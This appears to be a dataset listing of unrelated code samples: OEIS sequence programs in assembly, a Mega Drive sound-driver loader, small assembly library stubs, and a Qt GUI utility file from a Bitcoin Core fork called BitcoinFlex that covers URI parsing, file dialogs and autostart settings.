text
stringlengths
1
1.05M
; A166496: Prime plus the next composite. ; 6,7,11,15,23,27,35,39,47,59,63,75,83,87,95,107,119,123,135,143,147,159,167,179,195,203,207,215,219,227,255,263,275,279,299,303,315,327,335,347,359,363,383,387,395,399,423,447,455,459,467,479,483,503,515,527 seq $0,6005 ; The odd prime numbers together with 1. mul $0,2 max $0,5 add $0,1
; =========================================================================== ; --------------------------------------------------------------------------- ; Routine for loading the Dual PCM driver into Z80 RAM ; --------------------------------------------------------------------------- LoadDualPCM: move #$2700,sr ; disable interrupts move.w #$0100,$A11100 ; request Z80 stop move.w #$0100,$A11200 ; Z80 reset off lea DualPCM,a0 ; load Dual PCM address into a0 lea dZ80,a1 ; load Z80 RAM address into a1 .z80 btst #$00,$A11100 ; check if Z80 has stopped bne.s .z80 ; if not, wait more jsr KosDec ; decompress into z80 RAM moveq #2,d0 ; set flush timer for 60hz systems btst #6,ConsoleRegion.w ; is this a PAL Mega Drive? beq.s .ntsc ; if not, branch moveq #3,d0 ; set flush timer for 50hz systems .ntsc move.b d0,dZ80+YM_FlushTimer+2 ; save flush timer move.w #$0000,$A11200 ; request Z80 reset moveq #$7F,d1 ; wait for a little bit dbf d1,* ; we can't check for reset, so we need to delay move.w #$0000,$A11100 ; enable Z80 move.w #$0100,$A11200 ; Z80 reset off move #$2300,sr ; enable interrupts rts
lda {m1}+1 cmp #>{c1} bne !+ lda {m1} cmp #<{c1} !: bcc {la1} beq {la1}
// Copyright (c) 2011-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <qt/guiutil.h> #include <qt/bitcoinaddressvalidator.h> #include <qt/bitcoinunits.h> #include <qt/qvalidatedlineedit.h> #include <qt/walletmodel.h> #include <primitives/transaction.h> #include <init.h> #include <policy/policy.h> #include <protocol.h> #include <script/script.h> #include <script/standard.h> #include <util.h> #ifdef WIN32 #ifdef _WIN32_WINNT #undef _WIN32_WINNT #endif #define _WIN32_WINNT 0x0501 #ifdef _WIN32_IE #undef _WIN32_IE #endif #define _WIN32_IE 0x0501 #define WIN32_LEAN_AND_MEAN 1 #ifndef NOMINMAX #define NOMINMAX #endif #include <shellapi.h> #include <shlobj.h> #include <shlwapi.h> #endif #include <boost/scoped_array.hpp> #include <QAbstractItemView> #include <QApplication> #include <QClipboard> #include <QDateTime> #include <QDesktopServices> #include <QDesktopWidget> #include <QDoubleValidator> #include <QFileDialog> #include <QFont> #include <QLineEdit> #include <QSettings> #include <QTextDocument> // for Qt::mightBeRichText #include <QThread> #include <QMouseEvent> #if QT_VERSION < 0x050000 #include <QUrl> #else #include <QUrlQuery> #endif #if QT_VERSION >= 0x50200 #include <QFontDatabase> #endif static fs::detail::utf8_codecvt_facet utf8; #if defined(Q_OS_MAC) extern double NSAppKitVersionNumber; #if !defined(NSAppKitVersionNumber10_8) #define NSAppKitVersionNumber10_8 1187 #endif #if !defined(NSAppKitVersionNumber10_9) #define NSAppKitVersionNumber10_9 1265 #endif #endif namespace GUIUtil { QString dateTimeStr(const QDateTime &date) { return date.date().toString(Qt::SystemLocaleShortDate) + QString(" ") + date.toString("hh:mm"); } QString dateTimeStr(qint64 nTime) { return dateTimeStr(QDateTime::fromTime_t((qint32)nTime)); } QFont fixedPitchFont() { #if QT_VERSION >= 0x50200 return QFontDatabase::systemFont(QFontDatabase::FixedFont); #else QFont font("Monospace"); #if QT_VERSION >= 0x040800 font.setStyleHint(QFont::Monospace); #else font.setStyleHint(QFont::TypeWriter); #endif return font; #endif } // Just some dummy data to generate an convincing random-looking (but consistent) address static const uint8_t dummydata[] = {0xeb,0x15,0x23,0x1d,0xfc,0xeb,0x60,0x92,0x58,0x86,0xb6,0x7d,0x06,0x52,0x99,0x92,0x59,0x15,0xae,0xb1,0x72,0xc0,0x66,0x47}; // Generate a dummy address with invalid CRC, starting with the network prefix. static std::string DummyAddress(const CChainParams &params) { std::vector<unsigned char> sourcedata = params.Base58Prefix(CChainParams::PUBKEY_ADDRESS); sourcedata.insert(sourcedata.end(), dummydata, dummydata + sizeof(dummydata)); for(int i=0; i<256; ++i) { // Try every trailing byte std::string s = EncodeBase58(sourcedata.data(), sourcedata.data() + sourcedata.size()); if (!IsValidDestinationString(s)) { return s; } sourcedata[sourcedata.size()-1] += 1; } return ""; } void setupAddressWidget(QValidatedLineEdit *widget, QWidget *parent) { parent->setFocusProxy(widget); widget->setFont(fixedPitchFont()); #if QT_VERSION >= 0x040700 // We don't want translators to use own addresses in translations // and this is the only place, where this address is supplied. widget->setPlaceholderText(QObject::tr("Enter a BitcoinFlex address (e.g. %1)").arg( QString::fromStdString(DummyAddress(Params())))); #endif widget->setValidator(new BitcoinAddressEntryValidator(parent)); widget->setCheckValidator(new BitcoinAddressCheckValidator(parent)); } void setupAmountWidget(QLineEdit *widget, QWidget *parent) { QDoubleValidator *amountValidator = new QDoubleValidator(parent); amountValidator->setDecimals(8); amountValidator->setBottom(0.0); widget->setValidator(amountValidator); widget->setAlignment(Qt::AlignRight|Qt::AlignVCenter); } bool parseBitcoinURI(const QUrl &uri, SendCoinsRecipient *out) { // return if URI is not valid or is no bitcoin: URI if(!uri.isValid() || uri.scheme() != QString("bitcoinflex")) return false; SendCoinsRecipient rv; rv.address = uri.path(); // Trim any following forward slash which may have been added by the OS if (rv.address.endsWith("/")) { rv.address.truncate(rv.address.length() - 1); } rv.amount = 0; #if QT_VERSION < 0x050000 QList<QPair<QString, QString> > items = uri.queryItems(); #else QUrlQuery uriQuery(uri); QList<QPair<QString, QString> > items = uriQuery.queryItems(); #endif for (QList<QPair<QString, QString> >::iterator i = items.begin(); i != items.end(); i++) { bool fShouldReturnFalse = false; if (i->first.startsWith("req-")) { i->first.remove(0, 4); fShouldReturnFalse = true; } if (i->first == "label") { rv.label = i->second; fShouldReturnFalse = false; } if (i->first == "message") { rv.message = i->second; fShouldReturnFalse = false; } else if (i->first == "amount") { if(!i->second.isEmpty()) { if(!BitcoinUnits::parse(BitcoinUnits::BTC, i->second, &rv.amount)) { return false; } } fShouldReturnFalse = false; } if (fShouldReturnFalse) return false; } if(out) { *out = rv; } return true; } bool parseBitcoinURI(QString uri, SendCoinsRecipient *out) { // Convert bitcoin:// to bitcoin: // // Cannot handle this later, because bitcoin:// will cause Qt to see the part after // as host, // which will lower-case it (and thus invalidate the address). if(uri.startsWith("bitcoinflex://", Qt::CaseInsensitive)) { uri.replace(0, 11, "bitcoinflex:"); } QUrl uriInstance(uri); return parseBitcoinURI(uriInstance, out); } QString formatBitcoinURI(const SendCoinsRecipient &info) { QString ret = QString("bitcoinflex:%1").arg(info.address); int paramCount = 0; if (info.amount) { ret += QString("?amount=%1").arg(BitcoinUnits::format(BitcoinUnits::BTC, info.amount, false, BitcoinUnits::separatorNever)); paramCount++; } if (!info.label.isEmpty()) { QString lbl(QUrl::toPercentEncoding(info.label)); ret += QString("%1label=%2").arg(paramCount == 0 ? "?" : "&").arg(lbl); paramCount++; } if (!info.message.isEmpty()) { QString msg(QUrl::toPercentEncoding(info.message)); ret += QString("%1message=%2").arg(paramCount == 0 ? "?" : "&").arg(msg); paramCount++; } return ret; } bool isDust(const QString& address, const CAmount& amount) { CTxDestination dest = DecodeDestination(address.toStdString()); CScript script = GetScriptForDestination(dest); CTxOut txOut(amount, script); return IsDust(txOut, ::dustRelayFee); } QString HtmlEscape(const QString& str, bool fMultiLine) { #if QT_VERSION < 0x050000 QString escaped = Qt::escape(str); #else QString escaped = str.toHtmlEscaped(); #endif if(fMultiLine) { escaped = escaped.replace("\n", "<br>\n"); } return escaped; } QString HtmlEscape(const std::string& str, bool fMultiLine) { return HtmlEscape(QString::fromStdString(str), fMultiLine); } void copyEntryData(QAbstractItemView *view, int column, int role) { if(!view || !view->selectionModel()) return; QModelIndexList selection = view->selectionModel()->selectedRows(column); if(!selection.isEmpty()) { // Copy first item setClipboard(selection.at(0).data(role).toString()); } } QList<QModelIndex> getEntryData(QAbstractItemView *view, int column) { if(!view || !view->selectionModel()) return QList<QModelIndex>(); return view->selectionModel()->selectedRows(column); } QString getSaveFileName(QWidget *parent, const QString &caption, const QString &dir, const QString &filter, QString *selectedSuffixOut) { QString selectedFilter; QString myDir; if(dir.isEmpty()) // Default to user documents location { #if QT_VERSION < 0x050000 myDir = QDesktopServices::storageLocation(QDesktopServices::DocumentsLocation); #else myDir = QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation); #endif } else { myDir = dir; } /* Directly convert path to native OS path separators */ QString result = QDir::toNativeSeparators(QFileDialog::getSaveFileName(parent, caption, myDir, filter, &selectedFilter)); /* Extract first suffix from filter pattern "Description (*.foo)" or "Description (*.foo *.bar ...) */ QRegExp filter_re(".* \\(\\*\\.(.*)[ \\)]"); QString selectedSuffix; if(filter_re.exactMatch(selectedFilter)) { selectedSuffix = filter_re.cap(1); } /* Add suffix if needed */ QFileInfo info(result); if(!result.isEmpty()) { if(info.suffix().isEmpty() && !selectedSuffix.isEmpty()) { /* No suffix specified, add selected suffix */ if(!result.endsWith(".")) result.append("."); result.append(selectedSuffix); } } /* Return selected suffix if asked to */ if(selectedSuffixOut) { *selectedSuffixOut = selectedSuffix; } return result; } QString getOpenFileName(QWidget *parent, const QString &caption, const QString &dir, const QString &filter, QString *selectedSuffixOut) { QString selectedFilter; QString myDir; if(dir.isEmpty()) // Default to user documents location { #if QT_VERSION < 0x050000 myDir = QDesktopServices::storageLocation(QDesktopServices::DocumentsLocation); #else myDir = QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation); #endif } else { myDir = dir; } /* Directly convert path to native OS path separators */ QString result = QDir::toNativeSeparators(QFileDialog::getOpenFileName(parent, caption, myDir, filter, &selectedFilter)); if(selectedSuffixOut) { /* Extract first suffix from filter pattern "Description (*.foo)" or "Description (*.foo *.bar ...) */ QRegExp filter_re(".* \\(\\*\\.(.*)[ \\)]"); QString selectedSuffix; if(filter_re.exactMatch(selectedFilter)) { selectedSuffix = filter_re.cap(1); } *selectedSuffixOut = selectedSuffix; } return result; } Qt::ConnectionType blockingGUIThreadConnection() { if(QThread::currentThread() != qApp->thread()) { return Qt::BlockingQueuedConnection; } else { return Qt::DirectConnection; } } bool checkPoint(const QPoint &p, const QWidget *w) { QWidget *atW = QApplication::widgetAt(w->mapToGlobal(p)); if (!atW) return false; return atW->topLevelWidget() == w; } bool isObscured(QWidget *w) { return !(checkPoint(QPoint(0, 0), w) && checkPoint(QPoint(w->width() - 1, 0), w) && checkPoint(QPoint(0, w->height() - 1), w) && checkPoint(QPoint(w->width() - 1, w->height() - 1), w) && checkPoint(QPoint(w->width() / 2, w->height() / 2), w)); } void openDebugLogfile() { fs::path pathDebug = GetDataDir() / "debug.log"; /* Open debug.log with the associated application */ if (fs::exists(pathDebug)) QDesktopServices::openUrl(QUrl::fromLocalFile(boostPathToQString(pathDebug))); } bool openBitcoinConf() { boost::filesystem::path pathConfig = GetConfigFile(BITCOIN_CONF_FILENAME); /* Create the file */ boost::filesystem::ofstream configFile(pathConfig, std::ios_base::app); if (!configFile.good()) return false; configFile.close(); /* Open bitcoin.conf with the associated application */ return QDesktopServices::openUrl(QUrl::fromLocalFile(boostPathToQString(pathConfig))); } void SubstituteFonts(const QString& language) { #if defined(Q_OS_MAC) // Background: // OSX's default font changed in 10.9 and Qt is unable to find it with its // usual fallback methods when building against the 10.7 sdk or lower. // The 10.8 SDK added a function to let it find the correct fallback font. // If this fallback is not properly loaded, some characters may fail to // render correctly. // // The same thing happened with 10.10. .Helvetica Neue DeskInterface is now default. // // Solution: If building with the 10.7 SDK or lower and the user's platform // is 10.9 or higher at runtime, substitute the correct font. This needs to // happen before the QApplication is created. #if defined(MAC_OS_X_VERSION_MAX_ALLOWED) && MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_8 if (floor(NSAppKitVersionNumber) > NSAppKitVersionNumber10_8) { if (floor(NSAppKitVersionNumber) <= NSAppKitVersionNumber10_9) /* On a 10.9 - 10.9.x system */ QFont::insertSubstitution(".Lucida Grande UI", "Lucida Grande"); else { /* 10.10 or later system */ if (language == "zh_CN" || language == "zh_TW" || language == "zh_HK") // traditional or simplified Chinese QFont::insertSubstitution(".Helvetica Neue DeskInterface", "Heiti SC"); else if (language == "ja") // Japanese QFont::insertSubstitution(".Helvetica Neue DeskInterface", "Songti SC"); else QFont::insertSubstitution(".Helvetica Neue DeskInterface", "Lucida Grande"); } } #endif #endif } ToolTipToRichTextFilter::ToolTipToRichTextFilter(int _size_threshold, QObject *parent) : QObject(parent), size_threshold(_size_threshold) { } bool ToolTipToRichTextFilter::eventFilter(QObject *obj, QEvent *evt) { if(evt->type() == QEvent::ToolTipChange) { QWidget *widget = static_cast<QWidget*>(obj); QString tooltip = widget->toolTip(); if(tooltip.size() > size_threshold && !tooltip.startsWith("<qt") && !Qt::mightBeRichText(tooltip)) { // Envelop with <qt></qt> to make sure Qt detects this as rich text // Escape the current message as HTML and replace \n by <br> tooltip = "<qt>" + HtmlEscape(tooltip, true) + "</qt>"; widget->setToolTip(tooltip); return true; } } return QObject::eventFilter(obj, evt); } void TableViewLastColumnResizingFixer::connectViewHeadersSignals() { connect(tableView->horizontalHeader(), SIGNAL(sectionResized(int,int,int)), this, SLOT(on_sectionResized(int,int,int))); connect(tableView->horizontalHeader(), SIGNAL(geometriesChanged()), this, SLOT(on_geometriesChanged())); } // We need to disconnect these while handling the resize events, otherwise we can enter infinite loops. void TableViewLastColumnResizingFixer::disconnectViewHeadersSignals() { disconnect(tableView->horizontalHeader(), SIGNAL(sectionResized(int,int,int)), this, SLOT(on_sectionResized(int,int,int))); disconnect(tableView->horizontalHeader(), SIGNAL(geometriesChanged()), this, SLOT(on_geometriesChanged())); } // Setup the resize mode, handles compatibility for Qt5 and below as the method signatures changed. // Refactored here for readability. void TableViewLastColumnResizingFixer::setViewHeaderResizeMode(int logicalIndex, QHeaderView::ResizeMode resizeMode) { #if QT_VERSION < 0x050000 tableView->horizontalHeader()->setResizeMode(logicalIndex, resizeMode); #else tableView->horizontalHeader()->setSectionResizeMode(logicalIndex, resizeMode); #endif } void TableViewLastColumnResizingFixer::resizeColumn(int nColumnIndex, int width) { tableView->setColumnWidth(nColumnIndex, width); tableView->horizontalHeader()->resizeSection(nColumnIndex, width); } int TableViewLastColumnResizingFixer::getColumnsWidth() { int nColumnsWidthSum = 0; for (int i = 0; i < columnCount; i++) { nColumnsWidthSum += tableView->horizontalHeader()->sectionSize(i); } return nColumnsWidthSum; } int TableViewLastColumnResizingFixer::getAvailableWidthForColumn(int column) { int nResult = lastColumnMinimumWidth; int nTableWidth = tableView->horizontalHeader()->width(); if (nTableWidth > 0) { int nOtherColsWidth = getColumnsWidth() - tableView->horizontalHeader()->sectionSize(column); nResult = std::max(nResult, nTableWidth - nOtherColsWidth); } return nResult; } // Make sure we don't make the columns wider than the table's viewport width. void TableViewLastColumnResizingFixer::adjustTableColumnsWidth() { disconnectViewHeadersSignals(); resizeColumn(lastColumnIndex, getAvailableWidthForColumn(lastColumnIndex)); connectViewHeadersSignals(); int nTableWidth = tableView->horizontalHeader()->width(); int nColsWidth = getColumnsWidth(); if (nColsWidth > nTableWidth) { resizeColumn(secondToLastColumnIndex,getAvailableWidthForColumn(secondToLastColumnIndex)); } } // Make column use all the space available, useful during window resizing. void TableViewLastColumnResizingFixer::stretchColumnWidth(int column) { disconnectViewHeadersSignals(); resizeColumn(column, getAvailableWidthForColumn(column)); connectViewHeadersSignals(); } // When a section is resized this is a slot-proxy for ajustAmountColumnWidth(). void TableViewLastColumnResizingFixer::on_sectionResized(int logicalIndex, int oldSize, int newSize) { adjustTableColumnsWidth(); int remainingWidth = getAvailableWidthForColumn(logicalIndex); if (newSize > remainingWidth) { resizeColumn(logicalIndex, remainingWidth); } } // When the table's geometry is ready, we manually perform the stretch of the "Message" column, // as the "Stretch" resize mode does not allow for interactive resizing. void TableViewLastColumnResizingFixer::on_geometriesChanged() { if ((getColumnsWidth() - this->tableView->horizontalHeader()->width()) != 0) { disconnectViewHeadersSignals(); resizeColumn(secondToLastColumnIndex, getAvailableWidthForColumn(secondToLastColumnIndex)); connectViewHeadersSignals(); } } /** * Initializes all internal variables and prepares the * the resize modes of the last 2 columns of the table and */ TableViewLastColumnResizingFixer::TableViewLastColumnResizingFixer(QTableView* table, int lastColMinimumWidth, int allColsMinimumWidth, QObject *parent) : QObject(parent), tableView(table), lastColumnMinimumWidth(lastColMinimumWidth), allColumnsMinimumWidth(allColsMinimumWidth) { columnCount = tableView->horizontalHeader()->count(); lastColumnIndex = columnCount - 1; secondToLastColumnIndex = columnCount - 2; tableView->horizontalHeader()->setMinimumSectionSize(allColumnsMinimumWidth); setViewHeaderResizeMode(secondToLastColumnIndex, QHeaderView::Interactive); setViewHeaderResizeMode(lastColumnIndex, QHeaderView::Interactive); } #ifdef WIN32 fs::path static StartupShortcutPath() { std::string chain = ChainNameFromCommandLine(); if (chain == CBaseChainParams::MAIN) return GetSpecialFolderPath(CSIDL_STARTUP) / "BitcoinFlex.lnk"; if (chain == CBaseChainParams::TESTNET) // Remove this special case when CBaseChainParams::TESTNET = "testnet4" return GetSpecialFolderPath(CSIDL_STARTUP) / "BitcoinFlex (testnet).lnk"; return GetSpecialFolderPath(CSIDL_STARTUP) / strprintf("BitcoinFlex (%s).lnk", chain); } bool GetStartOnSystemStartup() { // check for Bitcoin*.lnk return fs::exists(StartupShortcutPath()); } bool SetStartOnSystemStartup(bool fAutoStart) { // If the shortcut exists already, remove it for updating fs::remove(StartupShortcutPath()); if (fAutoStart) { CoInitialize(nullptr); // Get a pointer to the IShellLink interface. IShellLink* psl = nullptr; HRESULT hres = CoCreateInstance(CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER, IID_IShellLink, reinterpret_cast<void**>(&psl)); if (SUCCEEDED(hres)) { // Get the current executable path TCHAR pszExePath[MAX_PATH]; GetModuleFileName(nullptr, pszExePath, sizeof(pszExePath)); // Start client minimized QString strArgs = "-min"; // Set -testnet /-regtest options strArgs += QString::fromStdString(strprintf(" -testnet=%d -regtest=%d", gArgs.GetBoolArg("-testnet", false), gArgs.GetBoolArg("-regtest", false))); #ifdef UNICODE boost::scoped_array<TCHAR> args(new TCHAR[strArgs.length() + 1]); // Convert the QString to TCHAR* strArgs.toWCharArray(args.get()); // Add missing '\0'-termination to string args[strArgs.length()] = '\0'; #endif // Set the path to the shortcut target psl->SetPath(pszExePath); PathRemoveFileSpec(pszExePath); psl->SetWorkingDirectory(pszExePath); psl->SetShowCmd(SW_SHOWMINNOACTIVE); #ifndef UNICODE psl->SetArguments(strArgs.toStdString().c_str()); #else psl->SetArguments(args.get()); #endif // Query IShellLink for the IPersistFile interface for // saving the shortcut in persistent storage. IPersistFile* ppf = nullptr; hres = psl->QueryInterface(IID_IPersistFile, reinterpret_cast<void**>(&ppf)); if (SUCCEEDED(hres)) { WCHAR pwsz[MAX_PATH]; // Ensure that the string is ANSI. MultiByteToWideChar(CP_ACP, 0, StartupShortcutPath().string().c_str(), -1, pwsz, MAX_PATH); // Save the link by calling IPersistFile::Save. hres = ppf->Save(pwsz, TRUE); ppf->Release(); psl->Release(); CoUninitialize(); return true; } psl->Release(); } CoUninitialize(); return false; } return true; } #elif defined(Q_OS_LINUX) // Follow the Desktop Application Autostart Spec: // http://standards.freedesktop.org/autostart-spec/autostart-spec-latest.html fs::path static GetAutostartDir() { char* pszConfigHome = getenv("XDG_CONFIG_HOME"); if (pszConfigHome) return fs::path(pszConfigHome) / "autostart"; char* pszHome = getenv("HOME"); if (pszHome) return fs::path(pszHome) / ".config" / "autostart"; return fs::path(); } fs::path static GetAutostartFilePath() { std::string chain = ChainNameFromCommandLine(); if (chain == CBaseChainParams::MAIN) return GetAutostartDir() / "bitcoinflex.desktop"; return GetAutostartDir() / strprintf("bitcoinflex-%s.lnk", chain); } bool GetStartOnSystemStartup() { fs::ifstream optionFile(GetAutostartFilePath()); if (!optionFile.good()) return false; // Scan through file for "Hidden=true": std::string line; while (!optionFile.eof()) { getline(optionFile, line); if (line.find("Hidden") != std::string::npos && line.find("true") != std::string::npos) return false; } optionFile.close(); return true; } bool SetStartOnSystemStartup(bool fAutoStart) { if (!fAutoStart) fs::remove(GetAutostartFilePath()); else { char pszExePath[MAX_PATH+1]; ssize_t r = readlink("/proc/self/exe", pszExePath, sizeof(pszExePath) - 1); if (r == -1) return false; pszExePath[r] = '\0'; fs::create_directories(GetAutostartDir()); fs::ofstream optionFile(GetAutostartFilePath(), std::ios_base::out|std::ios_base::trunc); if (!optionFile.good()) return false; std::string chain = ChainNameFromCommandLine(); // Write a bitcoin.desktop file to the autostart directory: optionFile << "[Desktop Entry]\n"; optionFile << "Type=Application\n"; if (chain == CBaseChainParams::MAIN) optionFile << "Name=BitcoinFlex\n"; else optionFile << strprintf("Name=BitcoinFlex (%s)\n", chain); optionFile << "Exec=" << pszExePath << strprintf(" -min -testnet=%d -regtest=%d\n", gArgs.GetBoolArg("-testnet", false), gArgs.GetBoolArg("-regtest", false)); optionFile << "Terminal=false\n"; optionFile << "Hidden=false\n"; optionFile.close(); } return true; } #elif defined(Q_OS_MAC) #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" // based on: https://github.com/Mozketo/LaunchAtLoginController/blob/master/LaunchAtLoginController.m #include <CoreFoundation/CoreFoundation.h> #include <CoreServices/CoreServices.h> LSSharedFileListItemRef findStartupItemInList(LSSharedFileListRef list, CFURLRef findUrl); LSSharedFileListItemRef findStartupItemInList(LSSharedFileListRef list, CFURLRef findUrl) { CFArrayRef listSnapshot = LSSharedFileListCopySnapshot(list, nullptr); if (listSnapshot == nullptr) { return nullptr; } // loop through the list of startup items and try to find the bitcoin app for(int i = 0; i < CFArrayGetCount(listSnapshot); i++) { LSSharedFileListItemRef item = (LSSharedFileListItemRef)CFArrayGetValueAtIndex(listSnapshot, i); UInt32 resolutionFlags = kLSSharedFileListNoUserInteraction | kLSSharedFileListDoNotMountVolumes; CFURLRef currentItemURL = nullptr; #if defined(MAC_OS_X_VERSION_MAX_ALLOWED) && MAC_OS_X_VERSION_MAX_ALLOWED >= 10100 if(&LSSharedFileListItemCopyResolvedURL) currentItemURL = LSSharedFileListItemCopyResolvedURL(item, resolutionFlags, nullptr); #if defined(MAC_OS_X_VERSION_MIN_REQUIRED) && MAC_OS_X_VERSION_MIN_REQUIRED < 10100 else LSSharedFileListItemResolve(item, resolutionFlags, &currentItemURL, nullptr); #endif #else LSSharedFileListItemResolve(item, resolutionFlags, &currentItemURL, nullptr); #endif if(currentItemURL) { if (CFEqual(currentItemURL, findUrl)) { // found CFRelease(listSnapshot); CFRelease(currentItemURL); return item; } CFRelease(currentItemURL); } } CFRelease(listSnapshot); return nullptr; } bool GetStartOnSystemStartup() { CFURLRef bitcoinAppUrl = CFBundleCopyBundleURL(CFBundleGetMainBundle()); if (bitcoinAppUrl == nullptr) { return false; } LSSharedFileListRef loginItems = LSSharedFileListCreate(nullptr, kLSSharedFileListSessionLoginItems, nullptr); LSSharedFileListItemRef foundItem = findStartupItemInList(loginItems, bitcoinAppUrl); CFRelease(bitcoinAppUrl); return !!foundItem; // return boolified object } bool SetStartOnSystemStartup(bool fAutoStart) { CFURLRef bitcoinAppUrl = CFBundleCopyBundleURL(CFBundleGetMainBundle()); if (bitcoinAppUrl == nullptr) { return false; } LSSharedFileListRef loginItems = LSSharedFileListCreate(nullptr, kLSSharedFileListSessionLoginItems, nullptr); LSSharedFileListItemRef foundItem = findStartupItemInList(loginItems, bitcoinAppUrl); if(fAutoStart && !foundItem) { // add bitcoin app to startup item list LSSharedFileListInsertItemURL(loginItems, kLSSharedFileListItemBeforeFirst, nullptr, nullptr, bitcoinAppUrl, nullptr, nullptr); } else if(!fAutoStart && foundItem) { // remove item LSSharedFileListItemRemove(loginItems, foundItem); } CFRelease(bitcoinAppUrl); return true; } #pragma GCC diagnostic pop #else bool GetStartOnSystemStartup() { return false; } bool SetStartOnSystemStartup(bool fAutoStart) { return false; } #endif void setClipboard(const QString& str) { QApplication::clipboard()->setText(str, QClipboard::Clipboard); QApplication::clipboard()->setText(str, QClipboard::Selection); } fs::path qstringToBoostPath(const QString &path) { return fs::path(path.toStdString(), utf8); } QString boostPathToQString(const fs::path &path) { return QString::fromStdString(path.string(utf8)); } QString formatDurationStr(int secs) { QStringList strList; int days = secs / 86400; int hours = (secs % 86400) / 3600; int mins = (secs % 3600) / 60; int seconds = secs % 60; if (days) strList.append(QString(QObject::tr("%1 d")).arg(days)); if (hours) strList.append(QString(QObject::tr("%1 h")).arg(hours)); if (mins) strList.append(QString(QObject::tr("%1 m")).arg(mins)); if (seconds || (!days && !hours && !mins)) strList.append(QString(QObject::tr("%1 s")).arg(seconds)); return strList.join(" "); } QString formatServicesStr(quint64 mask) { QStringList strList; // Just scan the last 8 bits for now. for (int i = 0; i < 8; i++) { uint64_t check = 1 << i; if (mask & check) { switch (check) { case NODE_NETWORK: strList.append("NETWORK"); break; case NODE_GETUTXO: strList.append("GETUTXO"); break; case NODE_BLOOM: strList.append("BLOOM"); break; case NODE_WITNESS: strList.append("WITNESS"); break; case NODE_XTHIN: strList.append("XTHIN"); break; default: strList.append(QString("%1[%2]").arg("UNKNOWN").arg(check)); } } } if (strList.size()) return strList.join(" & "); else return QObject::tr("None"); } QString formatPingTime(double dPingTime) { return (dPingTime == std::numeric_limits<int64_t>::max()/1e6 || dPingTime == 0) ? QObject::tr("N/A") : QString(QObject::tr("%1 ms")).arg(QString::number((int)(dPingTime * 1000), 10)); } QString formatTimeOffset(int64_t nTimeOffset) { return QString(QObject::tr("%1 s")).arg(QString::number((int)nTimeOffset, 10)); } QString formatNiceTimeOffset(qint64 secs) { // Represent time from last generated block in human readable text QString timeBehindText; const int HOUR_IN_SECONDS = 60*60; const int DAY_IN_SECONDS = 24*60*60; const int WEEK_IN_SECONDS = 7*24*60*60; const int YEAR_IN_SECONDS = 31556952; // Average length of year in Gregorian calendar if(secs < 60) { timeBehindText = QObject::tr("%n second(s)","",secs); } else if(secs < 2*HOUR_IN_SECONDS) { timeBehindText = QObject::tr("%n minute(s)","",secs/60); } else if(secs < 2*DAY_IN_SECONDS) { timeBehindText = QObject::tr("%n hour(s)","",secs/HOUR_IN_SECONDS); } else if(secs < 2*WEEK_IN_SECONDS) { timeBehindText = QObject::tr("%n day(s)","",secs/DAY_IN_SECONDS); } else if(secs < YEAR_IN_SECONDS) { timeBehindText = QObject::tr("%n week(s)","",secs/WEEK_IN_SECONDS); } else { qint64 years = secs / YEAR_IN_SECONDS; qint64 remainder = secs % YEAR_IN_SECONDS; timeBehindText = QObject::tr("%1 and %2").arg(QObject::tr("%n year(s)", "", years)).arg(QObject::tr("%n week(s)","", remainder/WEEK_IN_SECONDS)); } return timeBehindText; } QString formatBytes(uint64_t bytes) { if(bytes < 1024) return QString(QObject::tr("%1 B")).arg(bytes); if(bytes < 1024 * 1024) return QString(QObject::tr("%1 KB")).arg(bytes / 1024); if(bytes < 1024 * 1024 * 1024) return QString(QObject::tr("%1 MB")).arg(bytes / 1024 / 1024); return QString(QObject::tr("%1 GB")).arg(bytes / 1024 / 1024 / 1024); } qreal calculateIdealFontSize(int width, const QString& text, QFont font, qreal minPointSize, qreal font_size) { while(font_size >= minPointSize) { font.setPointSizeF(font_size); QFontMetrics fm(font); if (fm.width(text) < width) { break; } font_size -= 0.5; } return font_size; } void ClickableLabel::mouseReleaseEvent(QMouseEvent *event) { Q_EMIT clicked(event->pos()); } void ClickableProgressBar::mouseReleaseEvent(QMouseEvent *event) { Q_EMIT clicked(event->pos()); } } // namespace GUIUtil
; A036143: 3^n mod 127. ; Submitted by Jamie Morken(m3) ; 1,3,9,27,81,116,94,28,84,125,121,109,73,92,22,66,71,86,4,12,36,108,70,83,122,112,82,119,103,55,38,114,88,10,30,90,16,48,17,51,26,78,107,67,74,95,31,93,25,75,98,40,120 mov $2,3 pow $2,$0 mod $2,-127 mov $0,$2
SECTION "sec", ROM0 dw Sym m: MACRO Sym:: ENDM m Sym::
TITLE SHLDXDI - Copyright (c) SLR Systems 1991 INCLUDE MACROS PUBLIC SHL_DXDI_PAGESHIFT_DI .CODE ROOT_TEXT ASSUME DS:NOTHING SHL_DXDI_PAGESHIFT_DI PROC ; ; ; REPT PAGE_SHIFT ADD DI,DI ADC DX,DX ENDM SHRI DI,PAGE_SHIFT RET SHL_DXDI_PAGESHIFT_DI ENDP END
SECTION code_fp_mbf32 PUBLIC l_f32_sub EXTERN ___mbf32_setup_arith EXTERN ___mbf32_SUBCDE EXTERN ___mbf32_return EXTERN msbios l_f32_sub: call ___mbf32_setup_arith ld ix,___mbf32_SUBCDE call msbios jp ___mbf32_return
SECTION code_clib SECTION code_fp_math48 PUBLIC sin EXTERN cm48_sccz80_sin defc sin = cm48_sccz80_sin
; A091823: a(n) = 2*n^2 + 3*n - 1. ; 4,13,26,43,64,89,118,151,188,229,274,323,376,433,494,559,628,701,778,859,944,1033,1126,1223,1324,1429,1538,1651,1768,1889,2014,2143,2276,2413,2554,2699,2848,3001,3158,3319,3484,3653,3826,4003,4184,4369,4558,4751,4948,5149,5354,5563,5776,5993,6214,6439,6668,6901,7138,7379,7624,7873,8126,8383,8644,8909,9178,9451,9728,10009,10294,10583,10876,11173,11474,11779,12088,12401,12718,13039,13364,13693,14026,14363,14704,15049,15398,15751,16108,16469,16834,17203,17576,17953,18334,18719,19108,19501,19898 mov $1,$0 mul $1,2 add $1,7 mul $0,$1 add $0,4
